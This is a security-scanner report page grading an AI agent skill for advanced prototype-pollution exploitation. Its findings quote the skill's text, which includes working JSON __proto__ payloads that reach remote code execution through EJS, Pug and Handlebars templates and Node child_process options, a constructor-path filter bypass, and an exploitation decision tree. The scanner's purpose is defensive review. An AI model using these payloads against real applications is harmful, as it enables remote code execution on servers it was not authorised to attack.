prototype-pollution-advanced
github.com/yaklang/hack-skillsVerdict: Proceed with caution
0 critical0 high22 medium
C
SCORE 55 / 100
$skillox install prototype-pollution-advancedSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.
Why grade C?
score · 55 / 100The current grade reflects 22 medium findings (6+ MEDs → C).
0 CRIT0 HIGH22 MED0 LOW
To reach a higher grade
- BReach Btarget score 75
Resolve 17 of 22 MED (cap is 5).
- AReach Atarget score 95
Resolve 20 of 22 MED (cap is 2).
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Latest scan findings
Scan crawl-plkgb4zq9kpo8b2hzusqsrtx · Thu, 28 May 2026 17:27:40 GMT · 2ms
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
7# SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation
8
9> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load [../prototype-pollution/SKILL.md](../prototype-pollution/SKILL.md) first for fundamentals (merge sinks, `__proto__` vs `constructor.prototype`, basic probes).← spawns a subprocess outside declared capabilities
10
11## 0. RELATED ROUTING
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
23## 1. SERVER-SIDE PP → RCE
24
25### 1.1 Node.js child_process.spawn — Shell/ENV Injection← spawns a subprocess outside declared capabilities
26
27When `child_process.spawn` or `child_process.fork` is called without explicit `env`/`shell` options, it inherits from `Object.prototype`:
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
25### 1.1 Node.js child_process.spawn — Shell/ENV Injection
26
27When `child_process.spawn` or `child_process.fork` is called without explicit `env`/`shell` options, it inherits from `Object.prototype`:← spawns a subprocess outside declared capabilities
28
29```javascript
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
29```javascript
30// Vulnerable pattern (very common):
31const { execSync } = require('child_process');← spawns a subprocess outside declared capabilities
32execSync('ls'); // inherits shell, env from prototype
33
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
30// Vulnerable pattern (very common):
31const { execSync } = require('child_process');
32execSync('ls'); // inherits shell, env from prototype← spawns a subprocess outside declared capabilities
33
34// Pollution for RCE:
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
34// Pollution for RCE:
35Object.prototype.shell = '/proc/self/exe';
36Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';← spawns a subprocess outside declared capabilities
37Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
38// Next child_process call executes attacker code
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
36Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
37Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
38// Next child_process call executes attacker code← spawns a subprocess outside declared capabilities
39```
40
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
51```json
52// Pollution payload:
53{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}← spawns a subprocess outside declared capabilities
54
55// When EJS renders ANY template after pollution:
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
54
55// When EJS renders ANY template after pollution:
56// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";← spawns a subprocess outside declared capabilities
57// → RCE
58```
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
65
66```json
67{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}← spawns a subprocess outside declared capabilities
68```
69
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
71
72```json
73{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}← spawns a subprocess outside declared capabilities
74```
75
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
79
80```json
81{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}← spawns a subprocess outside declared capabilities
82```
83
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
86```json
87{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
88// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}← spawns a subprocess outside declared capabilities
89```
90
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
92
93```json
94{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}← spawns a subprocess outside declared capabilities
95```
96
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
100
101```json
102{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}← spawns a subprocess outside declared capabilities
103```
104
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
255 ├── Express + Pug → block gadget (Section 1.3)
256 ├── Express + Handlebars → type/program gadget (Section 1.4)
257 ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)← spawns a subprocess outside declared capabilities
258 ├── Client-side jQuery → DOM gadgets (Section 2.1)
259 ├── Client-side Lodash → template/sourceURL (Section 2.2)
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
284│ │ │ └── Unknown → try each gadget from KNOWN_GADGETS.md
285│ │ │
286│ │ ├── child_process used anywhere?← spawns a subprocess outside declared capabilities
287│ │ │ ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
288│ │ │ └── MAYBE → inject and trigger error to reveal stack
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
320```json
321// EJS RCE
322{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}← spawns a subprocess outside declared capabilities
323
324// Pug RCE
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
323
324// Pug RCE
325{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}← spawns a subprocess outside declared capabilities
326
327// child_process RCE (Node.js)
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
325{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}
326
327// child_process RCE (Node.js)← spawns a subprocess outside declared capabilities
328{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
329
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
332
333// Filter bypass (constructor path)
334{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}← spawns a subprocess outside declared capabilities
335
336// Safe detection probe
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/c/prototype-pollution-advanced